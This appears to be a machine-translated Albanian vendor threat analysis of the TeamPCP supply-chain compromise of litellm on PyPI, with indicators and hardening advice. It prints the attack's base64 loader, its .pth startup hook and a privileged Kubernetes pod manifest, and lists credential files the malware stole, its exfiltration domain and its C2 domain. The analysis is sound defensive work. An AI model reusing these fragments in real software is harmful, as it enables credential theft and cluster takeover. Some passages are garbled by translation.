Pse ky Çështjet
Më 24 Mars 2026, paketa e njohur Python litellm, një portë hyrëse universale LLM proxy e përdorur nga mijëra enterprises për të drejtuar trafikun midis aplikacioneve dhe ofruesve të inteligjencës artificiale si OpenAI, Anthropic, Google dhe AWS Bedrock, u kompromentua në heshtje në PyPI. Dy versione të helmuara (1.82.7 dhe 1.82.8) u publikuan brenda 13 minutash nga njëri-tjetri, duke mbajtur një ngarkesë shumëfazore që vidhte kredencialet, nxirrte sekretet e cloud-it, përhapej anash nëpër klasteret Kubernetes dhe instalonte një derë të pasme të vazhdueshme me aftësi ekzekutimi të kodit në distancë.
Me afërsisht 3.6 milionë shkarkime ditore dhe me vendosje të thellë në infrastrukturën e IA-së të bazuar në cloud, litellm ndodhet në udhëkryqin e gjithçkaje që dëshirojnë sulmuesit modernë: çelësat API për çdo ofrues të madh të IA-së, kredencialet IAM në cloud, sekretet e Kubernetes dhe çelësat SSH.
Por kompromisi i Litellm nuk ishte një ngjarje e izoluar. Ishte kulmi i një fushatë pesë-ditore, pesë-ekosistemesh nga një aktor kërcënimi i njohur si TeamPCP, një fushatë që fillimisht helmoi skanerët e sigurisë (Aqua Trivy, Checkmarx KICS), pastaj përdori të vjedhurat CI/CD kredencialet për t'u shpërndarë në npm, OpenVSX dhe së fundmi PyPI. Sulmuesit i përdorën si armë pikërisht mjetet në të cilat mbështeten organizatat për të mbrojtur zinxhirët e tyre të furnizimit.
Ky sulm përfaqëson një ndryshim të madh në sofistikimin e kërcënimeve të zinxhirit të furnizimit. Dizajni me shumë hapa dhe ndër-ekosistem, kompromenton mjetet e sigurisë për të arritur vlerë të lartë. Infrastruktura e inteligjencës artificiale, Pasqyron një nivel planifikimi dhe pjekurie operacionale në përputhje me mjetet e sulmit gjithnjë e më të zakonshme. Ngarkesat u përsëritën në kohë reale (tre variante të ngarkesës shfaqen në kodin burimor, duke përfshirë versionet e mëparshme të komentuara), infrastruktura C2 u regjistrua një ditë para sulmit dhe domenet e nxjerrjes u zgjodhën me kujdes për të imituar infrastrukturën legjitime të shitësit. Mbledhësi sistematikisht gjithëpërfshirës i kredencialeve, që mbulon mbi 15 kategori duke përfshirë objektiva të veçanta si çelësat e nënshkrimit Cardano dhe konfigurimet WireGuard, sugjeron një shkallë të hollësishme që tregon drejt zhvillimit të malware të asistuar nga IA si një shumëzues force.
Kohështrirje
| Data (UTC) | ngjarje |
|---|---|
| Mars 19 | TeamPCP kompromenton etiketat Aqua Trivy GitHub Action, duke i zëvendësuar ato me kod të dëmshëm që del jashtë. CI/CD sekretet nga depot e rrjedhës së poshtme |
| Mars 21 | Kompromisi shtrihet në Checkmarx KICS dhe AST GitHub Actions duke përdorur teknika të ngjashme. |
| 22 Mars, 06:35 | BerriAI publikon litelllm 1.82.6 (versioni i fundit i pastër) përmes normales CI/CD pipeline që përdor Trivy për skanimin e sigurisë |
| Mars 23 | TeamPCP regjistron models.litellm.cloud (domenin e exfiltration). Kompromenton mbi 66 paketa npm dhe zgjerime OpenVSX. |
| 24 Mars, 10:39 | litellm 1.82.7 publikuar në PyPI -- ngarkesa e injektuar në proxy_server.py në fushëveprimin e modulit. Ekzekutohet gjatë importimit |
| 24 Mars, 10:52 | litellm 1.82.8 u publikua 13 minuta më vonë -- shton litellm_init.pth, një grep konfigurimi i shtegut Python që ekzekutohet në çdo nisje të interpretuesit Python, jo vetëm në importet litellm. Tregon përsëritje të shpejtë të ngarkesës. |
| 24 Mars, ~16:00 | PyPI i heq të dy versionet pas raportimeve të komunitetit. Versionet fshihen plotësisht (nuk hiqen) nga indeksi, megjithëse skedarët tarball të CDN mbeten të arritshëm. |
Dritarja e ekspozimit: afërsisht 5.5 orë. Gjatë kësaj kohe, çdo pip install litellm, pip install --upgrade litellm, ose CI/CD pipeline tërheqja e versionit më të fundit do ta kishte ekzekutuar ngarkesën.
Si hyri programi keqdashës: Kompromisi kaskadues
Paketa litellm nuk u shkel drejtpërdrejt. Sulmuesi arriti tek ajo nëpërmjet një sulm me dy hapa në zinxhirin e furnizimit:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM CI/CD pipeline përdori Trivy si një skaner sigurie — mjeti i projektuar për të kapur dobësitë ishte vetë vektori i sulmit. Sepse pipeline referuar Trivy me etiketë të ndryshueshme në vend të një etikete të fiksuar commit SHA, veprimi i kompromentuar u ekzekutua automatikisht. Veprimi keqdashës Trivy nxori sekretet e mjedisit, duke përfshirë PYPI_PUBLISH token, duke i dhënë TeamPCP akses të drejtpërdrejtë në publikimin e projektit litellm PyPI.
Kjo strategji “kompromento rojet” është një shenjë dalluese e fushatës TeamPCP. Duke synuar së pari mjetet e sigurisë (Trivy, Checkmarx KICS), sulmuesit njëkohësisht çaktivizuan zbulimin dhe fituan akses të privilegjuar në zinxhirët e furnizimit në rrjedhën e poshtme.
Analiza Teknike: Ngarkesa
Pikat e Injektimit
Version 1.82.7 — Ekzekutimi në nivel moduli në litellm/proxy/proxy_server.py (rreshti 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Ky kod ndodhet në fushëveprimin e modulit midis një literali fjalori dhe origjinalit. showwarning() funksion. Ai ekzekutohet menjëherë kur litellm.proxy.proxy_server importohet — gjë që ndodh me çdo përdorim të funksionalitetit proxy të litellm.
Version 1.82.8 — Shtuar litellm_init.pth (Skedari i konfigurimit të shtegut Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Piton .pth fotografi në site-packages/ përpunohen në çdo nisje të interpretuesit, por vetëm rreshtat që fillojnë me import ekzekutohen si kod. Sulmuesi e shfrytëzon këtë duke e lidhur të gjithë ngarkesën në një të vetme import deklarata: import os, subprocess, sys; subprocess.Popen(...)Kjo është shumë më agresive sesa injektimi proxy_server.py — aktivizohet edhe nëse litellm nuk importohet kurrë, në çdo nisje të procesit Python. pyproject.toml u modifikua për të përfshirë këtë skedar në shpërndarje:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Versioni 1.82.8 pra ka dy rrugë ekzekutimi të pavaruraInjeksioni proxy_server.py (aktivizohet në importimin e proxy-t litellm) dhe skedari .pth (aktivizohet në çdo nisje të Python). Vetë redundanca është e dukshme - ajo mbron nga zbulimi ose heqja e njërës prej shtigjeve të vetme. Përshkallëzimi nga koha e importimit në ekzekutimin në kohën e nisjes vetëm 13 minuta pas versionit 1.82.7 sugjeron që sulmuesi po monitoronte suksesin e vendosjes dhe po përsëriste me shpejtësi.
Faza 1: Mbledhja Gjithëpërfshirëse e Kredencialeve
Skripti i brendshëm i dekoduar është një boshllëk i kujdesshëm kredencialesh. Ai përdor os.walk(), glob.glob(), subprocess.check_output(), dhe leximi i drejtpërdrejtë i skedarit për të fshirë të gjithë sistemin:
| Kategoria | Synimet |
|---|---|
| Rikonstruksioni i sistemit | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; çelësat e strehuesit nga /etc/ssh/ |
| Reja (AWS) | ~/.aws/credentials, ~/.aws/config; Kredencialet e rolit IMDS nëpërmjet 169.254.169.254Menaxher i Sekreteve ListSecrets; SSM DescribeParameters |
| Reja (GCP) | ~/.config/gcloud/ (rekursive); $GOOGLE_APPLICATION_CREDENTIALS |
| Re (Azure) | ~/.azure/ (rekursive); variablat e mjedisit |
| Kubernetes | Tokenat e llogarisë së shërbimit; ca.crthapësirë emrash; kubectl get secrets --all-namespaces; të gjitha sekretet nëpërmjet API-t të K8s |
| Skedarët e mjedisit | .env, .env.local, .env.production, .env.development, .env.staging — u kërkua në mënyrë rekursive (thellësia 6) përgjatë /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| prerës | ~/.docker/config.json, /kaniko/.docker/config.json |
| Tokenët e paketave | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Bazat e të dhënave | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, Konfigurimet e MongoDB |
| TLS / SSL | Çelësa privatë nga /etc/ssl/private/Le të Enkriptojmë të gjitha certifikatat .pem/.key/.p12/.pfx fotografi |
| git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Kuletat e kriptos | Bitcoin, ruajtës çelësash Ethereum, çifte çelësash Solana (validues, votë, aksion, rubinet), çelësa nënshkrimi Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Historia e Shell-it | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Autorizimi i sistemit | /etc/passwd, /etc/shadow, regjistrat e autorizimit (sesionet SSH të pranuara) |
| Çelësat Webhook/API | Grep për Slack webhooks, Uebi i Discordhooks, Çelësat/sekretet e API-t në skedarët e konfigurimit |
| VPN | Konfigurimet e WireGuard nga /etc/wireguard/ |
Fusha e këtij mbledhësi është enciklopedike. Ai synon jo vetëm kredencialet e cloud-it, por edhe portofolet e kriptomonedhave, fjalëkalimet e bazës së të dhënave, konfigurimet e VPN-ve dhe CI/CD sekrete — duke sugjeruar që sulmuesi synon të fitojë para nga sistemet e kompromentuara në vektorë të shumtë.
Faza 2: Ekfiltrimi i koduar
Të dhënat e vjedhura enkriptohen dhe nxirren duke përdorur një skemë hibride enkriptimi:
- AES-256-CBC enkriptimi i të gjitha të dhënave të mbledhura me një çelës sesioni të rastësishëm prej 32 bajtësh (nëpërmjet
openssl enc) - RSA-4096 enkriptimi i çelësit të sesionit duke përdorur çelësin publik të integruar të sulmuesit (mbushje OAEP, nëpërmjet
openssl pkeyutl) - Të dy skedarët e tekstit të koduar të paketuar si
tpcp.tar.gz(tpcpparashtesa — “TeamPCP” — shfaqet vazhdimisht gjatë gjithë fushatës) - HTTPS POST për
https://models.litellm.cloud/meContent-Type: application/octet-stream
Domeni models.litellm.cloud u regjistrua më 23 mars — një ditë para sulmit — dhe është projektuar për t'u kombinuar me infrastrukturën legjitime të litellm (projekti i vërtetë përdor litellm.aiEdhe një mbrojtës i vetëdijshëm për rrjetin që shqyrton trafikun e daljes mund të mos e sinjalizojë trafikun drejt asaj që duket të jetë pika fundore e modelit të litellm.
Faza 3: Derë e pasme e vazhdueshme (sysmon.py)
Ngarkesa instalon një derë të pasme votimi të maskuar si telemetri e sistemit:
- Rrugë:
~/.config/sysmon/sysmon.py - Shërbime:
sysmon.service(njësia e përdoruesit systemd, e përshkruar si "Shërbimi i Telemetrisë së Sistemit") - SjelljePas një gjumi fillestar prej 300 sekondash, sondazhet
https://checkmarx.zone/rawçdo ~50 minuta - EkzekutimShkarkon URL-në e kthyer nga C2 te
/tmp/pglog, e vendos atë të ekzekutueshëm (chmod 755), e ekzekuton atë në një seancë të shkëputur - Ndjekja e gjendjes:
/tmp/.pg_stateparandalon rishkarkimin e të njëjtit material - Këmbëngulje:
Restart=always,RestartSec=10— mbijeton ndaj rrëzimeve dhe rinisjeve
Domeni checkmarx.zone është një gabim shtypi i Checkmarx (kompania e sigurisë në checkmarx.com), i projektuar në mënyrë që analistët e SOC që shqyrtojnë regjistrat e rrjetit të shohin trafikun drejt asaj që duket të jetë një shitës legjitim i sigurisë. Kjo është një teknikë e qëllimshme shmangieje në përputhje me strategjinë më të gjerë të TeamPCP për t'u fshehur pas markës së shitësit të sigurisë.
Faza 3b: Lëvizja anësore e Kubernetes
Nëse sistemi i kompromentuar ka kredencialet e llogarisë së shërbimit Kubernetes, malware numëron të gjitha nyjet e klasterit dhe vendoset. kapsula të privilegjuara për secilin:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Çdo kapsulë:
- Ekzekutohet si privilegjuar me
hostPID,hostNetworkdhe qasje të plotë në sistemin e skedarëve të strehuesit - Përdor
chroot /hostpër të instaluar të njëjtënsysmon.pyderë e pasme në sistemin e skedarëve rrënjë të hostit - E regjistron atë si një shërbim të sistemuar, duke siguruar që qëndrueshmëria i mbijeton fshirjes së pod-it.
- Named
node-setup-*nëkube-systemhapësira e emrave të shfaqet si infrastrukturë legjitime e klasterit
Kjo do të thotë një i vetëm i kompromentuar CI/CD Një ekzekutues me akses në K8 mund të rezultojë në mbylljen e çdo nyjeje në klaster. — një skenar katastrofik lëvizjeje anësore për organizatat që përdorin litellm si një përfaqësues në Kubernetes.
Evolucioni i Ngarkesës (Variantet e Komentuara)
Kodi burimor në rreshtat 131-132 përmban dy variante të mëparshme të ngarkesës së payload të komentuara, duke zbuluar procesin e zhvillimit të sulmuesit:
- Të tre variantet ndajnë të njëjtën infrastrukturë eksfiltrimi (
models.litellm.cloud), çelësi publik RSA-4096, mbështjellësi i enkriptimit hibrid AES-256-CBC + RSA, dhetpcp.tar.gzemërtimi i paketave - Variante më të hershme shtoi një Shtresa e enkriptimit RC4 brenda skriptit të mbledhjes së të dhënave, duke enkriptuar të dhënat e mbledhura para mbështjellësit të jashtëm AES+RSA. Ngarkesa aktive (rreshti 130) u thjeshtua duke hequr këtë shtresë të brendshme RC4.
- Variantet e mëparshme përdorin
exec()meStringIOkapja për të ekzekutuar kolektorin në proces, ndërsa ngarkesa aktive përdorsubprocess.run()me ridrejtim stdout — një ndarje më e pastër që shmang ndotjen e procesit pritës - Të tre variantet synojnë të njëjtat kategori kredencialesh dhe shtigje mbledhjeje
- Tasti RC4 në variantet e mëparshme ishte një fyerje provokuese, në përputhje me sjelljen e aktorit që kërkonte vëmendje në Telegram.
Kjo zbulon zhvillim aktiv gjatë operacionit. Sulmuesi e thjeshtoi pirgun e enkriptimit dhe përmirësoi izolimin e ekzekutimit, duke i mbajtur të qëndrueshme objektivat e mbledhjes dhe infrastrukturën e nxjerrjes.
Treguesit e Kompromisit (IOC)
Rrjet
| Tregues | Tipi | 목적,en |
|---|---|---|
models.litellm.cloud | Fushë | Pika përfundimtare e eksfiltrimit (HTTPS POST) |
checkmarx.zone | Fushë | Pika fundore e anketimit C2 (HTTPS GET /raw) |
Shënim: Lidhje të raportimit të jashtëm checkmarx.zone/static/checkmarx-util-1.0.4.tgz në fazën e mëparshme KICS të fushatës TeamPCP. Kjo URL nuk u gjet në ngarkesat litellm të analizuara këtu.
Hashet e paketave
| Skedar | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
File System
| Tregues | Tipi | 목적,en |
|---|---|---|
~/.config/sysmon/sysmon.py | Skedar | Skript i përhershëm i derës së pasme |
~/.config/systemd/user/sysmon.service | Skedar | Njësia e qëndrueshmërisë Systemd |
/tmp/pglog | Skedar | Binar i fazës së dytë i shkarkuar |
/tmp/.pg_state | Skedar | Ndjekja e gjendjes C2 |
litellm_init.pth in site-packages/ | Skedar | Ngërçi i nisjes së Python (vetëm v1.82.8) |
tpcp.tar.gz | Skedar | Pako e enkriptuar e nxjerrjes |
Kubernetes
| Tregues | Tipi | 목적,en |
|---|---|---|
node-setup-* kapsula në kube-system | Bishtajë | Kapsulat e lëvizjes anësore të privilegjuara |
sysmon.service në nyjet e klasterit | Shërbime | Qëndrueshmëria në nivel host-i nëpërmjet escape-it të pod-it |
Kriptografike
| Tregues | Detaje |
|---|---|
| Çelësi publik RSA-4096 i sulmuesit | SHA256 gjurmë gishtash: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8I integruar në të tre variantet e ngarkesës; i njëjti çelës i raportuar në të gjitha operacionet e tjera të TeamPCP |
tpcp parashtesë në artefakte | Konventa e emërtimit të paketave (tpcp.tar.gz) konsistente gjatë gjithë fushatës |
Atribuimi: TeamPCP
Aktori kërcënues pas kësaj fushate gjurmohet si TeamPCP, i njohur edhe si PCPcat, Persy_PCP, ShellForce dhe DeadCatx3.
Karakteristikat e njohura:
- Mirëmban kanalet e Telegramit në
@Persy_PCP@teampcpku ata tallnin kompanitë e sigurisë - Operon në shumë ekosisteme (GitHub Actions, PyPI, npm, OpenVSX)
- Përdor domene typosquat specifike për shitësin për secilën fazë të fushatës (p.sh.,
checkmarx.zonepër Checkmarx,models.litellm.cloudpër litellm) - Shënjues të qëndrueshëm të infrastrukturës: i njëjti çift çelësash RSA,
tpcp.tar.gzkonventa e emërtimit,tpcp-docs-*Depozitat GitHub të përdorura si skeda dead-drop - Synon mjetet e sigurisë si pika hyrëse në zinxhirët e furnizimit në fazat e mëvonshme
Besimi i atribuimit: I lartë. Çelësi publik i përbashkët RSA, tpcp Emërtimi i artefakteve, mbivendosja e infrastrukturës C2 dhe ritmi operativ gjatë gjithë fushatës pesë-ditore i lidhin fort kompromiset e Trivy, KICS, npm, OpenVSX dhe litellm me të njëjtin aktor.
motivimiFinanciare të mundshme (vjedhje e portofolit kripto, monetizim i kredencialeve në cloud) të kombinuara me famë të keqe (tallje me Telegram). Gjerësia e mbledhjes së kredencialeve - nga AWS IAM te çiftet e çelësave të validatorit Solana e deri te konfigurimet WireGuard - sugjeron një aktor të motivuar financiarisht që kërkon të maksimizojë kthimin e investimit nga çdo kompromis.
Ndihmë e mundshme nga inteligjenca artificialeMbledhësi i kredencialeve është sistematikisht gjithëpërfshirës — mbi 15 kategori duke përfshirë objektiva të specializuara si çelësat e nënshkrimit Cardano, konfigurimet WireGuard dhe kredencialet Kaniko Docker — në një mënyrë që është në përputhje me numërimin e asistuar nga IA. Shpejtësia e përsëritjes së ngarkesës (tre variante me skema të ndryshme enkriptimi), koordinimi ndër-ekosistem (5 ekosisteme në 5 ditë) dhe OPSEC operacional (domene që imitojnë shitësin, enkriptim hibrid, qëndrueshmëria e sistemit e maskuar si telemetri) sugjerojnë një nivel të rendimentit që mund të pasqyrojë zhvillimin e asistuar nga IA si një shumëzues force. Ky vlerësim është spekulativ; operatorët e aftë mund të arrinin një fushëveprim të ngjashëm pa mjetet e IA-së.
TTP-të dhe Teknikat e Reja
1. Helmim nga Zinxhiri i Furnizimit me Mjete Sigurie (varianti T1195.002)
Kompromentimi i skanerëve të sigurisë (Trivy, KICS) si një hap i parë për të arritur objektivat në rrjedhën e poshtme është një përshkallëzim i ri. Sulmuesi nuk kompromentoi vetëm një bibliotekë - ata kompromentuan mjetet që organizatat përdorin për të... zbuloj biblioteka të kompromentuara. Kjo krijon një pikë të verbër: skaneri që duhet të kapë kodin keqdashës është vetë mekanizmi i shpërndarjes.
2. piton .pth Qëndrueshmëria e Skedarit (T1546)
La litellm_init.pth Teknika në v1.82.8 është veçanërisht e fshehtë. Python .pth fotografi në site-packages/ përpunohen në çdo nisje të interpretuesit; çdo rresht që fillon me import ekzekutohet si kod. Duke e lidhur ngarkesën në një të vetme import Sipas deklaratës, sulmuesi arrin ekzekutimin në çdo proces Python — jo vetëm kur importohet litellm. Kjo do të thotë që ngarkesa aktivizohet edhe nëse litellm është instaluar, por nuk përdoret kurrë, dhe i mbijeton korrigjimit që zëvendëson proceset e kompromentuara. .py skedarë pa kontrolluar për .pth files.
3. Lëvizja anësore e Kubernetes në të gjithë grumbullin nëpërmjet vendosjes së privilegjuar të pod-it (T1610, T1611)
Krijimi automatik i pod-eve të privilegjuara në çdo nyje të klasterit — me hostPID, hostNetwork, montimi i sistemit të skedarëve pritës dhe chroot për të instaluar persistencën — lidh zinxhirë vendosjen e kontejnerit (T1610) me escape në host (T1611) për të kthyer një ngarkesë të vetme pune të kompromentuar në kompromentim të plotë të klasterit.
4. Infrastruktura C2 që imiton shitësin
Përdorim models.litellm.cloud (imiton litellm) dhe checkmarx.zone (imiton Checkmarx) si pika fundore C2/exfil është projektuar për të shmangur monitorimin e rrjetit. Analistët e SOC që shqyrtojnë trafikun dalës do të shihnin lidhje HTTPS me ato që duken të jenë domene legjitime të shitësve.
5. Përsëritje e shpejtë e ngarkesës gjatë fluturimit
Publikimi i versionit v1.82.7 me ekzekutim në kohën e importimit, pastaj i versionit v1.82.8 me ekzekutim në kohën e fillimit 13 minuta më vonë, tregon se sulmuesi monitoron dhe përshtatet në kohë reale. Variantet e ngarkesës së pakomentuar (me skema të ndryshme enkriptimi) të ruajtura në kodin burimor konfirmojnë zhvillimin aktiv gjatë operacionit.
Çfarë mund të bëhet
Ky sulm shfrytëzon besimin në çdo shtresë: besimin në mjetet e sigurisë, besimin në regjistrat e paketave, besimin në domenet që duken të njohura, besimin në CI/CD automatizimi. Mbrojtja kundër tij kërkon forcimin e secilit prej këtyre kufijve të besimit:
Për Konsumatorët e Paketave
- Pin-oni varësitë sipas hash-it, jo vetëm sipas versionit.
pip install litellm==1.82.6 --hash=sha256:...do të kishte penguar instalimin e versioneve të kompromentuara edhe nëse ato u shfaqën për një kohë të shkurtër si versioni më i fundit. - Përdorni skedarë të kyçur.
pip-compile,poetry.lockdheuv.lockkap versionet dhe hashet e sakta. CI/CD duhet të instalohet nga lockfiles, jo nga specifikuesit e versionit lundrues. - Monitor për
.pthfiles. Auditim i rregulltsite-packages/për të papriturat.pthskedarë — ato ekzekutohen në çdo fillim të Python dhe janë një mekanizëm këmbënguljeje i nënvlerësuar. - Implementoni kontrollet e rrjetit të daljes. Ekfiltrimi për në
models.litellm.clouddhe votimi C2 për tëcheckmarx.zonemund të ishte kapur nga filtrimi i daljes bazuar në listën e lejimeve në mjediset e prodhimit.
Për Mirëmbajtësit e Paketave
- Pin CI/CD veprime nga commit SHA, jo etiketë. LiteLLM pipeline përdora Trivy pa një version të fiksuar. Nëse do të kishte referencë
aquasecurity/trivy-action@<commit-sha>në vend të@latest, veprimi i kompromentuar nuk do të ishte ekzekutuar. - Përdorni tokena botimi jetëshkurtër dhe me fushëveprim të kufizuar. PyPI mbështet Botuesit e Besuar (bazuar në OIDC) dhe tokenët API të përcaktuar.
PYPI_PUBLISHTokeni nuk duhet të ketë pasur akses publikimi të pakufizuar dhe jetëgjatë. - Aktivizo vërtetimin me dy faktorë në PyPI. Kërko 2FA për të gjithë mirëmbajtësit dhe përdor çelësa sigurie hardueri aty ku është e mundur.
- Nënshkruani paketat. Vërtetimet Sigstore/PEP 740 u lejojnë konsumatorëve të verifikojnë se një paketë është ndërtuar sipas parashikimeve. CI/CD pipeline, jo nga një sulmues me një token të vjedhur.
Për Operatorët e Platformës (PyPI, npm, GitHub)
- Zbuloni modele anormale të publikimit. Dy versione të reja të publikuara 13 minuta larg, nga një IP ose token i ndryshëm nga zakonisht, duhet të aktivizojnë pritjen për shqyrtim ose skanimin automatik përpara se paketa të bëhet e instalueshme.
- Përshpejtoni miratimin e Botuesve të Besuar. Publikimi i bazuar në OIDC lidh paketat me depo dhe rrjedha pune specifike, duke i bërë tokenët e vjedhur të padobishëm jashtë origjinalit. CI/CD kontekst.
- Implementoni skanimin e programeve keqdashëse në kohën e publikimit. Ngarkesa e dekoduar me base64 në proxy_server.py do të ishte e dallueshme nga analiza statike në kohën e publikimit.
Për Ekosistemin
- Trajtojini mjetet e sigurisë si infrastrukturë kritike. Trivy dhe Checkmarx KICS përdoren nga miliona njerëz. pipelines. Veprimet e tyre në GitHub duhet të nënshkruhen, fiksohen dhe monitorohen me të njëjtën rigorozitet si paketat që skanojnë.
- Investoni në zbulimin e kohës së ekzekutimit. Vetëm analiza statike nuk mund të kapë çdo teknikë të bllokimit. Monitorimi i instalimit të paketave gjatë kohës së ekzekutimit. hooks, lidhje të papritura të rrjetit dhe modele të dyshimta të aksesit të skedarëve ofrojnë mbrojtje në thellësi.
- Ndani inteligjencën e kërcënimeve më shpejt. Dritarja e ekspozimit prej 5.5 orësh për litellm mund të kishte qenë më e shkurtër me një koordinim më të shpejtë ndër-furnizues. Shërbimet e automatizuara të skanimit si Xygeni MEW, Socket dhe Snyk zbuluan anomalinë - pengesa është konfirmimi njerëzor dhe koha e reagimit të regjistrit.
Përfundim
Fushata TeamPCP është një moment vendimtar për software supply chain securityDuke kompromentuar fillimisht skanerët e sigurisë dhe duke i përdorur ata si trampolinë drejt infrastrukturës së inteligjencës artificiale me vlerë të lartë, sulmuesit demonstruan se zinxhiri i furnizimit është aq i fortë sa varësia e tij më e dobët kalimtare dhe se kjo varësi mund të jetë mjeti i sigurisë që i besoni për t'ju mbajtur të sigurt.
Kompromisi i litellm thekson në mënyrë specifike rrezikun në rritje për infrastrukturën e IA-së. Ndërsa portat proxy të LLM bëhen standard model për enterprise Në vendosjen e inteligjencës artificiale, ato përqendrojnë aksesin në çelësat API, kredencialet e cloud-it dhe të dhënat e ndjeshme në një komponent të vetëm. Kompromentimi i atij komponenti është një çelës skeletor për të gjithë grupin e inteligjencës artificiale.
Organizatat që instaluan litellm 1.82.7 ose 1.82.8 gjatë dritares 5.5-orëshe duhet ta trajtojnë këtë si një kompromis të plotë të kredencialeve: të rrotullojnë të gjitha sekretet në sistemet e prekura, të auditojnë grupet Kubernetes për node-setup-* kapsula në kube-system, hiqni çdo sysmon.service njësi të sistemuara dhe kontrolloni për litellm_init.pth në Python site-packages/ drejtoritë. Përdoruesit e imazhit zyrtar të Docker (ghcr.io/berriai/litellm) nuk u prekën, pasi imazhi i fiksoi varësitë e tij dhe nuk u rindërtua gjatë dritares së ekspozimit.
Rreth Autorit
Bashkëthemelues dhe CTO
Louis Rodriguez është bashkëthemelues dhe drejtor teknologjik në Xygeni Security. Me mbi 20 vjet përvojë në sigurinë e aplikacioneve, ai përqendrohet në mbrojtjen e AppSec dhe aftësitë e avancuara të analizës së kodit që i ndihmojnë ekipet të zvogëlojnë rrezikun real të dorëzimit.




